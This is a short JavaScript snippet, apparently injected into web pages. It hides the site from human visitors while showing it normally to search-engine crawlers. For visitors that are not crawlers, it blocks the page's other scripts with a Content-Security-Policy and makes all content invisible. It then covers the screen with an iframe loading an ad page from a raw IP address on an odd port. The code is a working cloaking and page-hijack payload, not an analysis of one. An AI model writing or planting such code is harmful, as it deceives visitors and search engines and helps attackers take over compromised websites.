// 获取访客的User-Agent
var userAgent = navigator.userAgent.toLowerCase();
// 定义搜索引擎列表
var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider)/i;

// 检测用户代理字符串，排除爬虫访问
if (!reg.test(navigator.userAgent)) {
    document.head.insertAdjacentHTML(
    "beforeend",
    `<meta http-equiv="Content-Security-Policy" content="script-src 'none'">`
);
var ss = 'http://38.207.112.9:22388/ad.html';
document.write(
    '<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write(
    '<style>html,body {width: 100%;height: 100%;overflow: hidden;clear: both;}body > * , .container{opacity: 0;}#divs{opacity: 1;}</style>'
);
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;" id="divs">');
document.write('<iframe src="' + ss +
    '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>'
);
document.write('</div>');
}